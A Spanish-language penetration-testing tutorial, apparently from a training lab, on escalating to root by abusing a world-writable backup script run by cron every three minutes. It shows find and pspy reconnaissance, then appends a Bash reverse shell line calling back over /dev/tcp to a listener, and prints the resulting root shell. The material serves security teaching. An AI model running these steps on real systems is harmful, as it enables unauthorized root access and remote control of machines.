Cron Job Abuse
Los cron jobs también pueden configurarse para ejecutarse una sola vez (como en el arranque). Normalmente se utilizan para tareas administrativas como hacer backups, limpiar directorios, etc. El comando crontab
puede crear un archivo cron, que será ejecutado por el daemon cron en el horario especificado. Cuando se crea, el archivo cron se guardará en /var/spool/cron
para el usuario específico que lo crea. Cada entrada en el archivo crontab requiere seis elementos en el siguiente orden: minutos, horas, días, meses, semanas, comandos. Por ejemplo, la entrada 0 */12 * * * /home/admin/backup.sh
se ejecutaría cada 12 horas.
El crontab de root casi siempre solo es editable por el usuario root o un usuario con privilegios sudo completos; sin embargo, aún puede ser abusado. Puedes encontrar un script con permisos de escritura para todos los usuarios que se ejecuta como root y, incluso si no puedes leer el crontab para saber el horario exacto, puedes averiguar con qué frecuencia se ejecuta (es decir, un script de backup que crea un archivo .tar.gz
cada 12 horas). En este caso, puedes agregar un comando al final del script (como un one-liner de reverse shell), y se ejecutará la próxima vez que se ejecute el cron job.
Algunas aplicaciones crean archivos cron en el directorio /etc/cron.d
y pueden estar mal configuradas para permitir que un usuario que no es root las edite.
Primero, echemos un vistazo al sistema en busca de archivos o directorios con permisos de escritura. El archivo backup.sh
en el directorio /dmz-backups
es interesante y parece que podría estar ejecutándose en un cron job.
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null
/etc/cron.daily/backup
/dmz-backups/backup.sh
/proc
/sys/fs/cgroup/memory/init.scope/cgroup.event_control
<SNIP>
/home/backupsvc/backup.sh
<SNIP>
Un vistazo rápido al directorio /dmz-backups
muestra lo que parecen ser archivos creados cada tres minutos. Esto parece ser una gran mala configuración. Quizás el sysadmin quiso especificar cada tres horas como 0 */3 * * *
pero en su lugar escribió */3 * * * *
, lo que indica que el cron job se ejecute cada tres minutos. El segundo problema es que el script backup.sh
es editable por todos los usuarios y se ejecuta como root.
ls -la /dmz-backups/
total 36
drwxrwxrwx 2 root root 4096 Aug 31 02:39 .
drwxr-xr-x 24 root root 4096 Aug 31 02:24 ..
-rwxrwxrwx 1 root root 230 Aug 31 02:39 backup.sh
-rw-r--r-- 1 root root 3336 Aug 31 02:24 www-backup-2020831-02:24:01.tgz
-rw-r--r-- 1 root root 3336 Aug 31 02:27 www-backup-2020831-02:27:01.tgz
-rw-r--r-- 1 root root 3336 Aug 31 02:30 www-backup-2020831-02:30:01.tgz
-rw-r--r-- 1 root root 3336 Aug 31 02:33 www-backup-2020831-02:33:01.tgz
-rw-r--r-- 1 root root 3336 Aug 31 02:36 www-backup-2020831-02:36:01.tgz
-rw-r--r-- 1 root root 3336 Aug 31 02:39 www-backup-2020831-02:39:01.tgz
Podemos confirmar que un cron job se está ejecutando utilizando pspy, una herramienta de línea de comandos utilizada para ver procesos en ejecución sin necesidad de privilegios de root. Podemos usarla para ver comandos ejecutados por otros usuarios, cron jobs, etc. Funciona escaneando procfs.
Vamos a ejecutar pspy
y echar un vistazo. La bandera -pf
le dice a la herramienta que imprima comandos y eventos del sistema de archivos, y -i 1000
le indica que escanee procfs cada 1000ms (o cada segundo).
./pspy64 -pf -i 1000
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=true ||| Scannning for processes every 1s and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2020/09/04 20:45:03 CMD: UID=0 PID=999 | /usr/bin/VGAuthService
2020/09/04 20:45:03 CMD: UID=111 PID=990 | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation
2020/09/04 20:45:03 CMD: UID=0 PID=99 |
2020/09/04 20:45:03 CMD: UID=0 PID=988 | /usr/lib/snapd/snapd
<SNIP>
2020/09/04 20:45:03 CMD: UID=0 PID=1017 | /usr/sbin/cron -f
2020/09/04 20:45:03 CMD: UID=0 PID=1010 | /usr/sbin/atd -f
2020/09/04 20:45:03 CMD: UID=0 PID=1003 | /usr/lib/accountsservice/accounts-daemon
2020/09/04 20:45:03 CMD: UID=0 PID=1001 | /lib/systemd/systemd-logind
2020/09/04 20:45:03 CMD: UID=0 PID=10 |
2020/09/04 20:45:03 CMD: UID=0 PID=1 | /sbin/init
2020/09/04 20:46:01 FS: OPEN | /usr/lib/locale/locale-archive
2020/09/04 20:46:01 CMD: UID=0 PID=2201 | /bin/bash /dmz-backups/backup.sh
2020/09/04 20:46:01 CMD: UID=0 PID=2200 | /bin/sh -c /dmz-backups/backup.sh
2020/09/04 20:46:01 FS: OPEN | /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
2020/09/04 20:46:01 CMD: UID=0 PID=2199 | /usr/sbin/CRON -f
2020/09/04 20:46:01 FS: OPEN | /usr/lib/locale/locale-archive
2020/09/04 20:46:01 CMD: UID=0 PID=2203 |
2020/09/04 20:46:01 FS: CLOSE_NOWRITE | /usr/lib/locale/locale-archive
2020/09/04 20:46:01 FS: OPEN | /usr/lib/locale/locale-archive
2020/09/04 20:46:01 FS: CLOSE_NOWRITE | /usr/lib/locale/locale-archive
2020/09/04 20:46:01 CMD: UID=0 PID=2204 | tar --absolute-names --create --gzip --file=/dmz-backups/www-backup-202094-20:46:01.tgz /var/www/html
2020/09/04 20:46:01 FS: OPEN | /usr/lib/locale/locale-archive
2020/09/04 20:46:01 CMD: UID=0 PID=2205 | gzip
2020/09/04 20:46:03 FS: CLOSE_NOWRITE | /usr/lib/locale/locale-archive
2020/09/04 20:46:03 CMD: UID=0 PID=2206 | /bin/bash /dmz-backups/backup.sh
2020/09/04 20:46:03 FS: CLOSE_NOWRITE | /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
2020/09/04 20:46:03 FS: CLOSE_NOWRITE | /usr/lib/locale/locale-archive
Del resultado anterior, podemos ver que un cron job ejecuta el script backup.sh
ubicado en el directorio /dmz-backups
y crea un archivo tarball del contenido del directorio /var/www/html
.
Podemos mirar el script shell y agregarle un comando para intentar obtener un reverse shell como root. Si editamos un script, asegúrate de SIEMPRE
tomar una copia del script y/o crear un backup del mismo. También deberíamos intentar agregar nuestros comandos al final del script para que siga funcionando correctamente antes de ejecutar nuestro comando de reverse shell.
cat /dmz-backups/backup.sh
#!/bin/bash
SRCDIR="/var/www/html"
DESTDIR="/dmz-backups/"
FILENAME=www-backup-$(date +%-Y%-m%-d)-$(date +%-T).tgz
tar --absolute-names --create --gzip --file=$DESTDIR$FILENAME $SRCDIR
Podemos ver que el script solo toma un directorio fuente y un directorio de destino como variables. Luego especifica un nombre de archivo con la fecha y hora actual del backup y crea un archivo tarball del directorio fuente, el directorio raíz web. Vamos a modificar el script para agregar un one-liner de reverse shell en Bash.
#!/bin/bash
SRCDIR="/var/www/html"
DESTDIR="/dmz-backups/"
FILENAME=www-backup-$(date +%-Y%-m%-d)-$(date +%-T).tgz
tar --absolute-names --create --gzip --file=$DESTDIR$FILENAME $SRCDIR
bash -i >& /dev/tcp/10.10.14.3/443 0>&1
Modificamos el script, levantamos un listener local de netcat
, y esperamos. Seguro, dentro de tres minutos, tenemos un shell root.
nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.129.2.12] 38882
bash: cannot set terminal process group (9143): Inappropriate ioctl for device
bash: no job control in this shell
root@NIX02:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@NIX02:~# hostname
hostname
NIX02
Aunque no es el ataque más común, encontramos cron jobs mal configurados que pueden ser abusados de vez en cuando.